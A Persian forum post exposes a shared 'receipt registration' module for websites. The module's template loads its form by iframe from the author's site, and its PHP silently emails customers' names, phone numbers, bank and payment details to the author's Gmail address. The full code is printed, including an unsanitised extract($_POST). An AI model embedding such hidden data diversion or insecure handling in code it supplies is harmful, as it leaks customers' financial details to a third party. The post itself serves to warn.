توضیحاتی راجع به ماژول ثبت فیش!!!
دقت کنید که محتویات bank-template.php چی هست!
یعنی فرم از سایت این آقا داره بارگزاری میشه پس اطلاعات فایل کانفیگ میشه اطلاعاتی که تو فایل کانفیگ ایشان تو سایتش هست یعنی :کد:<html> <body bottommargin="0" leftmargin="0" marginheight="0" marginwidth="0" rightmargin="0" scroll="no" topmargin="0"> <iframe width="100%" height="500" frameborder="0" src="http://titanweb.ir/bank-config.php"></iframe> </body> </html>
یعنی اگه کسی فیش ثبت کنه به ایمیل ایشون میره .کد:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>فرم ثبت فیش</title> <!-- Connect Me: Yahoo Mail: lizard.tiny@yahoo.com Gmail: lizard.tiny@gmail.com Tell: 09399076223 --> <style> .tbl{ direction:rtl; font-family:Tahoma; font-size:12px } input,select,option,textarea{ font-family:Tahoma; font-size:11px; } #sent{ display:block; background-color:#EEFBEE; border:1px green dashed; font-family:Tahoma; width:580px; margin:20px auto 20px auto; font-size:12px; text-align:center; padding:10px; box-shadow: -10px -10px 0px yellow; border-radius: 5px; } #err{ display:block; background-color:#FFF8F4; border:1px maroon dashed; font-family:Tahoma; width:580px; margin:20px auto 20px auto; font-size:12px; text-align:center; padding:10px } </style> </head> <body> <form method="post" action="?send"> <table width="600" align="center" class="tbl" > <tr> <td class="right">نام و نام خانوادگی :</td> <td class="left"><input type="text" name="data[نام و نام خانوادگی]"/></td> </tr> <tr> <td class="right">ایمیل: </td> <td class="left"><input type="text" name="data[ایمیل]"/></td> </tr> <tr> <td class="right">شماره تماس : </td> <td class="left"><input type="text" name="data[شماره تماس]"/></td> </tr> <tr> <td class="right">مبلغ واریزی :</td> <td class="left"><input type="text" name="data[مبلغ واریزی]"/> تومان</td> </tr> <tr> <td class="right">نام بانک :</td> <td class="left"> <select name="data[نام بانک]"> <option>اقتصاد نوین</option> <option>پاسارگارد</option> <option>انصار</option> <option>سینا</option> <option>ملی</option> </select> </td> </tr> <tr> <td class="right">شماره فیش / پیگیری/ سند :</td> <td class="left"><input type="text" name="data[کد پیگیری]"/></td> </tr> <tr> <td class="right">واریز بابت:</td> <td class="left"><input type="text" name="data[واریز بابت]"/></td> </tr> <tr> <td class="right">کد سفارش:</td> <td class="left"><input type="text" name="data[کد سفارش]"/></td> </tr> <tr> <td class="right" style="width: 150px" valign="top">در صورتی که پیغام یا توضیحی دارید در این قسمت وارد کنید:</td> <td class="left"> <textarea name="data[توضیح]" style="width: 254px; height: 117px"></textarea></td> </tr> <tr> <td class="right" style="width: 150px" valign="top"></td> <td class="left"><input type="submit" value="ثبت فیش" /><input type="reset" value="نگارش از نو" /></td> </tr> </table> </form> <?php if(isset($_GET[send])){ extract($_POST); $to = "lizard.tiny@gmail.com"; $subject = "ثبت فیش پرداختی - TitanWeb.ir"; $from = "lizard.tiny@gmail.com"; //begin of HTML message $message = ' <html> <body> <table width="600" align="center" class="tbl" > ' ; foreach ($data as $key=>$val) { $message .= ' <tr> <td style="font-family:tahoma;width:200px">'.$key.'</td> <td style="font-family:tahoma;font-weight:bold">'.$val.'</td> </tr> '; } $message .= ' <tr> <td style="font-family:tahoma;width:200px">کپی رایت</td> <td style="font-family:tahoma;color:green">Lizard.Tiny@Gmail.com</td> </tr> </table> </body> </html> ' ; //end of message $headers = "From: $from\r\n"; $headers .= 'Content-type: text/html; charset="utf-8"\r\n'; // now lets send the email. if(mail($to, $subject, $message, $headers)){ ?> <span id="sent">ثبت فیش با موفقیت انجام شد</span> <?php } else { ?> <span id="err">خطا! مجدداً تلاش کنید</span> <?php } } ?> </body> </html>
این یعنی چی؟؟؟
خواهشا به چیزی که ازش استفاده می کنید دقت کنید...





